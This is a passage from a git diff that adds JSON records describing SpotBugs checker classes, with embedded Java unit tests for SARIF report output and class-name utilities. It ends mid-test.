"expected-linenumbers": [ + 87, + 467 + ], + "code": "@Test\n void testVersionAndSchema() {\n reporter.finish();\n\n String json = writer.toString();\n JsonObject jsonObject = new Gson().fromJson(json, JsonObject.class);\n\n assertThat(\"the first key in JSON should be 'version'\", json, startsWith(\"{\\\"version\\\"\"));\n assertThat(jsonObject.get(\"version\").getAsString(), is(\"2.1.0\"));\n assertThat(jsonObject.get(\"$schema\").getAsString(), is(\n \"https://raw.githubusercontent.com/oasis-tcs/sarif-spec/master/Schemata/sarif-schema-2.1.0.json\"));\n }\n\n /**\n * {@code toolComponent} object in {@code \"runs.tool.driver\"} SHOULD have {@code \"version\"} (§3.19.2).\n * A toolComponent object SHALL contain a {@code \"name\"} property (§3.19.8).\n * A toolComponent object MAY contain a {@code \"language\"} property (§3.19.21).\n */\n @Test\n void testDriver() {\n final String EXPECTED_VERSION = Version.VERSION_STRING;\n final String EXPECTED_LANGUAGE = \"ja\";\n\n Locale defaultLocale = Locale.getDefault();\n try {\n Locale.setDefault(Locale.JAPANESE);\n reporter.finish();\n } finally {\n Locale.setDefault(defaultLocale);\n }\n\n String json = writer.toString();\n JsonObject jsonObject = new Gson().fromJson(json, JsonObject.class);\n JsonObject run = (JsonObject) jsonObject.getAsJsonArray(\"runs\").get(0);\n JsonObject tool = run.getAsJsonObject(\"tool\");\n JsonObject driver = tool.getAsJsonObject(\"driver\");\n\n assertThat(driver.get(\"name\").getAsString(), is(\"SpotBugs\"));\n assertThat(driver.get(\"version\").getAsString(), is(EXPECTED_VERSION));\n assertThat(driver.get(\"language\").getAsString(), is(EXPECTED_LANGUAGE));\n }\n\n @Test\n void testRuleWithArguments() {\n // given\n final String EXPECTED_BUG_TYPE = \"BUG_TYPE\";\n final String EXPECTED_DESCRIPTION = \"describing about this bug type...\";\n BugPattern bugPattern = new BugPattern(EXPECTED_BUG_TYPE, \"abbrev\", \"category\", false, EXPECTED_DESCRIPTION,\n \"describing about this bug type with value {0}...\", \"detailText\", null, 0);\n DetectorFactoryCollection.instance().registerBugPattern(bugPattern);\n\n // when\n reporter.reportBug(new BugInstance(bugPattern.getType(), bugPattern.getPriorityAdjustment()).addInt(10).addClass(\"the/target/Class\"));\n reporter.finish();\n\n // then\n String json = writer.toString();\n JsonObject jsonObject = new Gson().fromJson(json, JsonObject.class);\n JsonObject run = jsonObject.getAsJsonArray(\"runs\").get(0).getAsJsonObject();\n JsonArray rules = run.getAsJsonObject(\"tool\").getAsJsonObject(\"driver\").getAsJsonArray(\"rules\");\n JsonArray results = run.getAsJsonArray(\"results\");\n\n assertThat(rules.size(), is(1));\n JsonObject rule = rules.get(0).getAsJsonObject();\n assertThat(rule.get(\"id\").getAsString(), is(bugPattern.getType()));\n String defaultText = rule.getAsJsonObject(\"messageStrings\").getAsJsonObject(\"default\").get(\"text\").getAsString();\n assertThat(defaultText, is(\"describing about this bug type with value {0}...\"));\n\n assertThat(results.size(), is(1));\n JsonObject result = results.get(0).getAsJsonObject();\n assertThat(result.get(\"ruleId\").getAsString(), is(bugPattern.getType()));\n JsonObject message = result.getAsJsonObject(\"message\");\n assertThat(message.get(\"id\").getAsString(), is(\"default\"));\n assertThat(message.get(\"text\").getAsString(), is(bugPattern.getShortDescription()));\n JsonArray arguments = message.getAsJsonArray(\"arguments\");\n assertThat(arguments.get(0).getAsInt(), is(10));\n }\n\n\n\n @Test\n void testRuleWithInvalidArguments() {\n // given\n final String EXPECTED_BUG_TYPE = \"BUG_TYPE\";\n final String EXPECTED_DESCRIPTION = \"describing about this bug type...\";\n BugPattern bugPattern = new BugPattern(EXPECTED_BUG_TYPE, \"abbrev\", \"category\", false, EXPECTED_DESCRIPTION,\n \"describing about this bug type with value {1234}...\", \"detailText\", null, 0);\n DetectorFactoryCollection.instance().registerBugPattern(bugPattern);\n\n // when\n reporter.reportBug(new BugInstance(bugPattern.getType(), bugPattern.getPriorityAdjustment()).addInt(10).addClass(\"the/target/Class\"));\n reporter.finish();\n\n // then\n String json = writer.toString();\n JsonObject jsonObject = new Gson().fromJson(json, JsonObject.class);\n JsonObject run = jsonObject.getAsJsonArray(\"runs\").get(0).getAsJsonObject();\n JsonArray rules = run.getAsJsonObject(\"tool\").getAsJsonObject(\"driver\").getAsJsonArray(\"rules\");\n JsonArray results = run.getAsJsonArray(\"results\");\n\n assertThat(rules.size(), is(1));\n JsonObject rule = rules.get(0).getAsJsonObject();\n assertThat(rule.get(\"id\").getAsString(), is(bugPattern.getType()));\n String defaultText = rule.getAsJsonObject(\"messageStrings\").getAsJsonObject(\"default\").get(\"text\").getAsString();\n assertThat(defaultText, is(\"describing about this bug type with value {0}...\"));\n\n assertThat(results.size(), is(1));\n JsonObject result = results.get(0).getAsJsonObject();\n assertThat(result.get(\"ruleId\").getAsString(), is(bugPattern.getType()));\n JsonObject message = result.getAsJsonObject(\"message\");\n assertThat(message.get(\"id\").getAsString(), is(\"default\"));\n assertThat(message.get(\"text\").getAsString(), is(bugPattern.getShortDescription()));\n JsonArray arguments = message.getAsJsonArray(\"arguments\");\n assertThat(arguments.get(0).getAsString(), is(\"?>?1234/2???\"));\n }\n\n @Test\n void testMissingClassNotification() {\n ClassDescriptor classDescriptor = DescriptorFactory.instance().getClassDescriptor(\"com/github/spotbugs/MissingClass\");\n reporter.reportMissingClass(classDescriptor);\n reporter.finish();\n\n // then\n String json = writer.toString();\n JsonObject jsonObject = new Gson().fromJson(json, JsonObject.class);\n JsonObject run = jsonObject.getAsJsonArray(\"runs\").get(0).getAsJsonObject();\n JsonArray toolConfigurationNotifications = run.getAsJsonArray(\"invocations\")\n .get(0).getAsJsonObject()\n .getAsJsonArray(\"toolConfigurationNotifications\");\n\n assertThat(toolConfigurationNotifications.size(), is(1));\n JsonObject notification = toolConfigurationNotifications.get(0).getAsJsonObject();\n assertThat(notification.getAsJsonObject(\"descriptor\").get(\"id\").getAsString(), is(\"spotbugs-missing-classes\"));\n assertThat(notification.getAsJsonObject(\"message\").get(\"text\").getAsString(), is(\n \"Classes needed for analysis were missing: [com.github.spotbugs.MissingClass]\"));\n }\n\n @Test\n void testErrorNotification() {\n reporter.logError(\"Unexpected Error\");\n reporter.finish();\n\n String json = writer.toString();\n JsonObject jsonObject = new Gson().fromJson(json, JsonObject.class);\n JsonObject run = jsonObject.getAsJsonArray(\"runs\").get(0).getAsJsonObject();\n JsonArray toolExecutionNotifications = run.getAsJsonArray(\"invocations\")\n .get(0).getAsJsonObject()\n .getAsJsonArray(\"toolExecutionNotifications\");\n\n assertThat(toolExecutionNotifications.size(), is(1));\n JsonObject notification = toolExecutionNotifications.get(0).getAsJsonObject();\n assertThat(notification.getAsJsonObject(\"descriptor\").get(\"id\").getAsString(), is(\"spotbugs-error-0\"));\n assertThat(notification.getAsJsonObject(\"message\").get(\"text\").getAsString(), is(\"Unexpected Error\"));\n assertFalse(notification.has(\"exception\"));\n }\n\n @Test\n void testExceptionNotification() {\n reporter.getProject().getSourceFinder().setSourceBaseList(Collections.singletonList(new File(\"src/test/java\").getAbsolutePath()));\n reporter.logError(\"Unexpected Error\", new Exception(\"Unexpected Problem\"));\n reporter.finish();\n\n String json = writer.toString();\n JsonObject jsonObject = new Gson().fromJson(json, JsonObject.class);\n JsonObject run = jsonObject.getAsJsonArray(\"runs\").get(0).getAsJsonObject();\n JsonArray toolExecutionNotifications = run.getAsJsonArray(\"invocations\")\n .get(0).getAsJsonObject()\n .getAsJsonArray(\"toolExecutionNotifications\");\n\n assertThat(toolExecutionNotifications.size(), is(1));\n JsonObject notification = toolExecutionNotifications.get(0).getAsJsonObject();\n assertThat(notification.getAsJsonObject(\"descriptor\").get(\"id\").getAsString(), is(\"spotbugs-error-0\"));\n assertThat(notification.getAsJsonObject(\"message\").get(\"text\").getAsString(), is(\"Unexpected Error\"));\n assertTrue(notification.has(\"exception\"));\n JsonArray frames = notification.getAsJsonObject(\"exception\").getAsJsonObject(\"stack\").getAsJsonArray(\"frames\");\n JsonObject physicalLocation = frames.get(0).getAsJsonObject().getAsJsonObject(\"location\").getAsJsonObject(\"physicalLocation\");\n String uri = physicalLocation.getAsJsonObject(\"artifactLocation\").get(\"uri\").getAsString();\n assertThat(uri, is(\"edu/umd/cs/findbugs/sarif/SarifBugReporterTest.java\"));\n }\n\n @Test\n void testExceptionNotificationWithoutMessage() {\n reporter.logError(\"Unexpected Error\", new Exception());\n reporter.finish();\n\n String json = writer.toString();\n JsonObject jsonObject = new Gson().fromJson(json, JsonObject.class);\n JsonObject run = jsonObject.getAsJsonArray(\"runs\").get(0).getAsJsonObject();\n JsonArray toolExecutionNotifications = run.getAsJsonArray(\"invocations\")\n .get(0).getAsJsonObject()\n .getAsJsonArray(\"toolExecutionNotifications\");\n\n assertThat(toolExecutionNotifications.size(), is(1));\n JsonObject notification = toolExecutionNotifications.get(0).getAsJsonObject();\n assertThat(notification.getAsJsonObject(\"descriptor\").get(\"id\").getAsString(), is(\"spotbugs-error-0\"));\n assertThat(notification.getAsJsonObject(\"message\").get(\"text\").getAsString(), is(\"Unexpected Error\"));\n assertTrue(notification.has(\"exception\"));\n }\n\n @Test\n void testHelpUriAndTags() {\n BugPattern bugPattern = new BugPattern(\"TYPE\", \"abbrev\", \"category\", false, \"shortDescription\",\n \"longDescription\", \"detailText\", \"https://example.com/help.html\", 0);\n DetectorFactoryCollection.instance().registerBugPattern(bugPattern);\n\n reporter.reportBug(new BugInstance(bugPattern.getType(), bugPattern.getPriorityAdjustment()).addInt(10).addClass(\"the/target/Class\"));\n reporter.finish();\n\n String json = writer.toString();\n JsonObject jsonObject = new Gson().fromJson(json, JsonObject.class);\n JsonObject run = jsonObject.getAsJsonArray(\"runs\").get(0).getAsJsonObject();\n JsonArray rules = run.getAsJsonObject(\"tool\").getAsJsonObject(\"driver\").getAsJsonArray(\"rules\");\n\n assertThat(rules.size(), is(1));\n JsonObject rule = rules.get(0).getAsJsonObject();\n assertThat(rule.get(\"helpUri\").getAsString(), is(\"https://example.com/help.html#TYPE\"));\n\n JsonArray tags = rule.getAsJsonObject(\"properties\").getAsJsonArray(\"tags\");\n assertThat(tags.size(), is(1));\n assertThat(tags.get(0).getAsString(), is(\"category\"));\n }\n\n @Test\n void testExtensions() {\n PluginLoader pluginLoader = DetectorFactoryCollection.instance().getCorePlugin().getPluginLoader();\n Plugin plugin = new Plugin(\"pluginId\", \"version\", null, pluginLoader, true, false);\n DetectorFactoryCollection dfc = new DetectorFactoryCollection(plugin);\n try {\n DetectorFactoryCollection.resetInstance(dfc);\n reporter.finish();\n } finally {\n DetectorFactoryCollection.resetInstance(null);\n }\n\n String json = writer.toString();\n JsonObject jsonObject = new Gson().fromJson(json, JsonObject.class);\n JsonObject run = jsonObject.getAsJsonArray(\"runs\").get(0).getAsJsonObject();\n JsonObject tool = run.getAsJsonObject(\"tool\");\n JsonArray extensions = tool.getAsJsonArray(\"extensions\");\n\n assertThat(extensions.size(), is(1));\n JsonObject extension = extensions.get(0).getAsJsonObject();\n\n assertThat(extension.get(\"name\").getAsString(), is(\"pluginId\"));\n assertThat(extension.get(\"version\").getAsString(), is(\"version\"));\n }\n\n @Test\n void testSourceLocation() throws IOException {\n Path tmpDir = Files.createTempDirectory(\"spotbugs\");\n new File(tmpDir.toFile(), \"SampleClass.java\").createNewFile();\n SourceFinder sourceFinder = reporter.getProject().getSourceFinder();\n sourceFinder.setSourceBaseList(Collections.singleton(tmpDir.toString()));\n\n BugPattern bugPattern = new BugPattern(\"TYPE\", \"abbrev\", \"category\", false, \"shortDescription\",\n \"longDescription\", \"detailText\", \"https://example.com/help.html\", 0);\n DetectorFactoryCollection.instance().registerBugPattern(bugPattern);\n\n reporter.reportBug(new BugInstance(bugPattern.getType(), bugPattern.getPriorityAdjustment()).addInt(10).addClass(\"SampleClass\"));\n reporter.finish();\n\n String json = writer.toString();\n JsonObject jsonObject = new Gson().fromJson(json, JsonObject.class);\n JsonObject run = jsonObject.getAsJsonArray(\"runs\").get(0).getAsJsonObject();\n\n JsonObject originalUriBaseIds = run.getAsJsonObject(\"originalUriBaseIds\");\n String uriBaseId = takeFirstKey(originalUriBaseIds).get();\n assertThat(URI.create(originalUriBaseIds.getAsJsonObject(uriBaseId).get(\"uri\").getAsString()), is(tmpDir.toUri()));\n\n JsonArray results = run.getAsJsonArray(\"results\");\n assertThat(results.size(), is(1));\n JsonObject result = results.get(0).getAsJsonObject();\n JsonObject artifactLocation = result.getAsJsonArray(\"locations\").get(0).getAsJsonObject().getAsJsonObject(\"physicalLocation\").getAsJsonObject(\n \"artifactLocation\");\n String relativeUri = artifactLocation.get(\"uri\").getAsString();\n assertThat(\"relative URI that can be resolved by the uriBase\",\n relativeUri, is(\"SampleClass.java\"));\n assertThat(artifactLocation.get(\"uriBaseId\").getAsString(), is(uriBaseId));\n }\n\n @Test\n void testCweTaxonomy() throws IOException {\n String type = \"TYPE_WITH_CWE\";\n int cweid = 502;\n\n Path tmpDir = Files.createTempDirectory(\"spotbugs\");\n new File(tmpDir.toFile(), \"SampleClass.java\").createNewFile();\n SourceFinder sourceFinder = reporter.getProject().getSourceFinder();\n sourceFinder.setSourceBaseList(Collections.singleton(tmpDir.toString()));\n\n BugPattern bugPattern = new BugPattern(type, \"abbrev\", \"category\", false, \"shortDescription\",\n \"longDescription\", \"detailText\", \"https://example.com/help.html\", cweid);\n DetectorFactoryCollection.instance().registerBugPattern(bugPattern);\n\n reporter.reportBug(new BugInstance(bugPattern.getType(), bugPattern.getPriorityAdjustment()).addInt(10)\n .addClass(\"SampleClass\"));\n reporter.finish();\n\n String json = writer.toString();\n JsonObject jsonObject = new Gson().fromJson(json, JsonObject.class);\n JsonObject run = jsonObject.getAsJsonArray(\"runs\").get(0).getAsJsonObject();\n\n /* test rules part */\n JsonObject tool = run.getAsJsonObject(\"tool\");\n JsonObject driver = tool.getAsJsonObject(\"driver\");\n JsonObject rule = driver.getAsJsonArray(\"rules\").get(0).getAsJsonObject();\n JsonObject relationship = rule.getAsJsonArray(\"relationships\").get(0).getAsJsonObject();\n\n assertThat(rule.get(\"id\").getAsString(), is(type));\n assertThat(relationship.getAsJsonObject(\"target\").get(\"id\").getAsInt(), is(cweid));\n assertThat(relationship.getAsJsonArray(\"kinds\").get(0).getAsString(), is(\"superset\"));\n\n /* test supported taxonomies part */\n assertThat(driver.getAsJsonArray(\"supportedTaxonomies\").get(0).getAsJsonObject().get(\"name\").getAsString(),\n is(\"CWE\"));\n\n /* test taxonomies */\n JsonArray taxonomies = run.getAsJsonArray(\"taxonomies\");\n assertThat(taxonomies.size(), is(1));\n\n JsonObject cweTaxonomy = taxonomies.get(0).getAsJsonObject();\n assertThat(cweTaxonomy.get(\"organization\").getAsString(), is(\"MITRE\"));\n assertThat(cweTaxonomy.get(\"name\").getAsString(), is(\"CWE\"));\n\n JsonArray taxa = cweTaxonomy.getAsJsonArray(\"taxa\");\n assertThat(taxonomies.size(), is(1));\n\n JsonObject cwe502taxon = taxa.get(0).getAsJsonObject();\n assertThat(cwe502taxon.get(\"id\").getAsInt(), is(cweid));\n assertThat(cwe502taxon.get(\"shortDescription\").getAsJsonObject().get(\"text\").getAsString(),\n is(\"Deserialization of Untrusted Data\"));\n }\n\n @Test\n void testNullInResultsOrTaxa() {\n reporter.finish();\n\n String json = writer.toString();\n JsonObject jsonObject = new Gson().fromJson(json, JsonObject.class);\n JsonObject run = jsonObject.getAsJsonArray(\"runs\").get(0).getAsJsonObject();\n\n // \"results\" may be empty or null, but not missing,\n // https://docs.oasis-open.org/sarif/sarif/v2.1.0/errata01/os/sarif-v2.1.0-errata01-os-complete.html#_Toc141790757\n JsonElement results = run.get(\"results\");\n assertNotNull(results);\n if (results != JsonNull.INSTANCE) {\n assertThat(results.getAsJsonArray().size(), is(0));\n }\n\n // \"taxonomies\" may not be or contain null, but may be missing\n // https://docs.oasis-open.org/sarif/sarif/v2.1.0/errata01/os/sarif-v2.1.0-errata01-os-complete.html#_Toc141790742\n JsonElement taxonomies = run.get(\"taxonomies\");\n assertThat(taxonomies, not(JsonNull.INSTANCE));\n if (taxonomies != null) {\n assertThat(taxonomies.getAsJsonArray().size(), is(0));\n }\n }\n\n @Test\n void testInvocationSuccessfulOnBugPresence() {\n BugPattern bugPattern = new BugPattern(\"TYPE\", \"abbrev\", \"category\", false, \"shortDescription\",\n \"longDescription\", \"detailText\", \"https://example.com/help.html\", 0);\n DetectorFactoryCollection.instance().registerBugPattern(bugPattern);\n\n reporter.reportBug(new BugInstance(bugPattern.getType(), bugPattern.getPriorityAdjustment()).addInt(10).addClass(\"the/target/Class\"));\n reporter.finish();\n\n String json = writer.toString();\n JsonObject jsonObject = new Gson().fromJson(json, JsonObject.class);\n JsonObject run = jsonObject.getAsJsonArray(\"runs\").get(0).getAsJsonObject();\n JsonObject invocation = run.getAsJsonArray(\"invocations\").get(0).getAsJsonObject();\n\n assertThat(invocation.get(\"exitCode\").getAsInt(), is(1));\n assertThat(invocation.get(\"exitCodeDescription\").getAsString(), is(\"BUGS FOUND\"));\n assertThat(invocation.get(\"executionSuccessful\").getAsBoolean(), is(true));\n }\n\n Optional takeFirstKey(JsonObject object) {\n return object.keySet().stream().findFirst();\n }\n}" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/SarifException.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/SarifException.json new file mode 100644 index 0000000..86bb25d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/SarifException.json @@ -0,0 +1,13 @@ +{ + "name": "SarifException", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 66, + "branches": 2, + "apis": 17, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/Stack.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/Stack.json new file mode 100644 index 0000000..6d91c80 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/Stack.json @@ -0,0 +1,13 @@ +{ + "name": "Stack", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 79, + "branches": 2, + "apis": 16, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/Taxon.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/Taxon.json new file mode 100644 index 0000000..8299a5b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/Taxon.json @@ -0,0 +1,13 @@ +{ + "name": "Taxon", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 70, + "branches": 0, + "apis": 11, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/package-info.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/package-info.json new file mode 100644 index 0000000..d426ad3 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/package-info.json @@ -0,0 +1,13 @@ +{ + "name": "package-info", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 24, + "branches": 0, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/AnyTypeMatcher.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/AnyTypeMatcher.json new file mode 100644 index 0000000..0b83c9f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/AnyTypeMatcher.json @@ -0,0 +1,13 @@ +{ + "name": "AnyTypeMatcher", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 41, + "branches": 2, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/Archive.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/Archive.json new file mode 100644 index 0000000..2338d19 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/Archive.json @@ -0,0 +1,13 @@ +{ + "name": "Archive", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 68, + "branches": 6, + "apis": 7, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/Bag.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/Bag.json new file mode 100644 index 0000000..770c1e5 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/Bag.json @@ -0,0 +1,13 @@ +{ + "name": "Bag", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 80, + "branches": 5, + "apis": 11, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/BootstrapMethodsUtil.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/BootstrapMethodsUtil.json new file mode 100644 index 0000000..fa85043 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/BootstrapMethodsUtil.json @@ -0,0 +1,13 @@ +{ + "name": "BootstrapMethodsUtil", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 84, + "branches": 9, + "apis": 15, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/ClassName.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/ClassName.json new file mode 100644 index 0000000..06d1869 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/ClassName.json @@ -0,0 +1,230 @@ +{ + "name": "ClassName", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 385, + "branches": 47, + "apis": 76, + "test": [ + { + "description": "testExtractPackagePrefix", + "expected-problems": null, + "expected-linenumbers": [ + 35, + 42 + ], + "code": "@Test\n void testExtractPackagePrefix() {\n assertEquals(\"\", ClassName.extractPackagePrefix(\"org.apache.ant.subpkg.sub2\", 0));\n assertEquals(\"org\", ClassName.extractPackagePrefix(\"org\", 1));\n assertEquals(\"org.apache.ant\", ClassName.extractPackagePrefix(\"org.apache.ant.subpkg.sub2\", 3));\n assertEquals(\"org.apache.ant.subpkg.sub2\", ClassName.extractPackagePrefix(\"org.apache.ant.subpkg.sub2\", 5));\n assertEquals(\"org.apache.ant.subpkg.sub2\", ClassName.extractPackagePrefix(\"org.apache.ant.subpkg.sub2\", 6));\n }" + }, + { + "description": "testExtractClassName", + "expected-problems": null, + "expected-linenumbers": [ + 44, + 51 + ], + "code": "@Test\n void testExtractClassName() {\n assertEquals(\"java/lang/Integer\", ClassName.extractClassName(\"Ljava/lang/Integer;\"));\n assertEquals(\"java/lang/Integer\", ClassName.extractClassName(\"[Ljava/lang/Integer;\"));\n assertEquals(\"java/lang/Integer\", ClassName.extractClassName(\"[[Ljava/lang/Integer;\"));\n assertEquals(\"java/lang/Integer\", ClassName.extractClassName(\"[[[Ljava/lang/Integer;\"));\n assertEquals(\"java/lang/Integer\", ClassName.extractClassName(\"java/lang/Integer\"));\n }" + }, + { + "description": "testGetPrimitiveType", + "expected-problems": null, + "expected-linenumbers": [ + 53, + 65 + ], + "code": "@Test\n void testGetPrimitiveType() {\n assertEquals(\"I\", ClassName.getPrimitiveType(\"java/lang/Integer\"));\n assertEquals(\"F\", ClassName.getPrimitiveType(\"java/lang/Float\"));\n assertEquals(\"D\", ClassName.getPrimitiveType(\"java/lang/Double\"));\n assertEquals(\"J\", ClassName.getPrimitiveType(\"java/lang/Long\"));\n assertEquals(\"B\", ClassName.getPrimitiveType(\"java/lang/Byte\"));\n assertEquals(\"C\", ClassName.getPrimitiveType(\"java/lang/Character\"));\n assertEquals(\"S\", ClassName.getPrimitiveType(\"java/lang/Short\"));\n assertEquals(\"Z\", ClassName.getPrimitiveType(\"java/lang/Boolean\"));\n assertNull(ClassName.getPrimitiveType(\"java/lang/String\"));\n assertNull(ClassName.getPrimitiveType(\"java/util/HashMap\"));\n }" + }, + { + "description": "testExtractClassNameBad", + "expected-problems": null, + "expected-linenumbers": [ + 67, + 72 + ], + "code": "@Test\n void testExtractClassNameBad() {\n Assertions.assertThrows(IllegalArgumentException.class, () -> {\n ClassName.extractClassName(\"L[Ljava/lang/Integer;\");\n });\n }" + }, + { + "description": "testMatchedPrefix", + "expected-problems": null, + "expected-linenumbers": [ + 74, + 100 + ], + "code": "@Test\n void testMatchedPrefix() {\n List negativeCases = Arrays.asList(\n new String[] { \"foobar\" },\n new String[] { \"\" },\n new String[] { \"testObject\" });\n\n for (String[] searchString : negativeCases) {\n Assertions.assertFalse(ClassName.matchedPrefixes(searchString, \"com.test.TestClass\"),\n \"com.text.TestClass should not be matched by \" + Arrays.toString(searchString));\n }\n\n List positiveCases = Arrays.asList(\n new String[] {},\n null,\n new String[] { \"TestClass\" },\n new String[] { \"testclass\" },\n new String[] { \"testclass\" },\n new String[] { \"testClass\" },\n new String[] { \"tetGlass\" },\n new String[] { \"bastClass\" });\n\n for (String[] searchString : positiveCases) {\n assertTrue(ClassName.matchedPrefixes(searchString, \"com.test.TestClass\"),\n \"com.text.TestClass should be matched by \" + Arrays.toString(searchString));\n }\n }" + }, + { + "description": "testSimpleBinaryClassNameIsValidClassName", + "expected-problems": null, + "expected-linenumbers": [ + 102, + 105 + ], + "code": "@Test\n void testSimpleBinaryClassNameIsValidClassName() {\n assertTrue(ClassName.isValidClassName(\"com/bla/Parent\"));\n }" + }, + { + "description": "testSimpleDottedClassNameIsValidClassName", + "expected-problems": null, + "expected-linenumbers": [ + 107, + 110 + ], + "code": "@Test\n void testSimpleDottedClassNameIsValidClassName() {\n assertTrue(ClassName.isValidClassName(\"com.bla.Parent\"));\n }" + }, + { + "description": "testInnerClassBinaryClassNameIsValidClassName", + "expected-problems": null, + "expected-linenumbers": [ + 112, + 115 + ], + "code": "@Test\n void testInnerClassBinaryClassNameIsValidClassName() {\n assertTrue(ClassName.isValidClassName(\"com/bla/Parent$Child\"));\n }" + }, + { + "description": "testInnerClassDottedClassNameIsValidClassName", + "expected-problems": null, + "expected-linenumbers": [ + 117, + 120 + ], + "code": "@Test\n void testInnerClassDottedClassNameIsValidClassName() {\n assertTrue(ClassName.isValidClassName(\"com.bla.Parent$Child\"));\n }" + }, + { + "description": "testJavaStyleAnonymousInnerClassBinaryClassNameIsValidClassName", + "expected-problems": null, + "expected-linenumbers": [ + 122, + 125 + ], + "code": "@Test\n void testJavaStyleAnonymousInnerClassBinaryClassNameIsValidClassName() {\n assertTrue(ClassName.isValidClassName(\"com/bla/Parent$Child$1\"));\n }" + }, + { + "description": "testJavaStyleAnonymousInnerClassDottedClassNameIsValidClassName", + "expected-problems": null, + "expected-linenumbers": [ + 127, + 130 + ], + "code": "@Test\n void testJavaStyleAnonymousInnerClassDottedClassNameIsValidClassName() {\n assertTrue(ClassName.isValidClassName(\"com.bla.Parent$Child$1\"));\n }" + }, + { + "description": "testKotlinStyleAnonymousInnerClassBinaryClassNameIsValidClassName", + "expected-problems": null, + "expected-linenumbers": [ + 132, + 135 + ], + "code": "@Test\n void testKotlinStyleAnonymousInnerClassBinaryClassNameIsValidClassName() {\n assertTrue(ClassName.isValidClassName(\"com/bla/Parent$function$variable$1\"));\n }" + }, + { + "description": "testKotlinStyleAnonymousInnerClassDottedClassNameIsValidClassName", + "expected-problems": null, + "expected-linenumbers": [ + 137, + 140 + ], + "code": "@Test\n void testKotlinStyleAnonymousInnerClassDottedClassNameIsValidClassName() {\n assertTrue(ClassName.isValidClassName(\"com.bla.Parent$function$variable$1\"));\n }" + }, + { + "description": "testBinaryClassNameContainingAllowedSpecialCharactersIsValidClassName", + "expected-problems": null, + "expected-linenumbers": [ + 142, + 145 + ], + "code": "@Test\n void testBinaryClassNameContainingAllowedSpecialCharactersIsValidClassName() {\n assertTrue(ClassName.isValidClassName(\"com/bla/Parent$function!@#%^&*,?{}]()$variable$1\"));\n }" + }, + { + "description": "testDottedClassNameContainingAllowedSpecialCharactersIsValidClassName", + "expected-problems": null, + "expected-linenumbers": [ + 147, + 150 + ], + "code": "@Test\n void testDottedClassNameContainingAllowedSpecialCharactersIsValidClassName() {\n assertTrue(ClassName.isValidClassName(\"com.bla.Parent$function!@#%^&*,?{}]()$variable$1\"));\n }" + }, + { + "description": "testFieldDescriptorClassNameIsValidClassName", + "expected-problems": null, + "expected-linenumbers": [ + 152, + 155 + ], + "code": "@Test\n void testFieldDescriptorClassNameIsValidClassName() {\n assertTrue(ClassName.isValidClassName(\"Lcom/bla/Parent;\"));\n }" + }, + { + "description": "testFieldDescriptorOneDimensionalArrayClassNameIsValidClassName", + "expected-problems": null, + "expected-linenumbers": [ + 157, + 160 + ], + "code": "@Test\n void testFieldDescriptorOneDimensionalArrayClassNameIsValidClassName() {\n assertTrue(ClassName.isValidClassName(\"[Lcom/bla/Parent;\"));\n }" + }, + { + "description": "testFieldDescriptorOneDimensionalPrimitiveArrayClassNameIsValidClassName", + "expected-problems": null, + "expected-linenumbers": [ + 162, + 165 + ], + "code": "@Test\n void testFieldDescriptorOneDimensionalPrimitiveArrayClassNameIsValidClassName() {\n 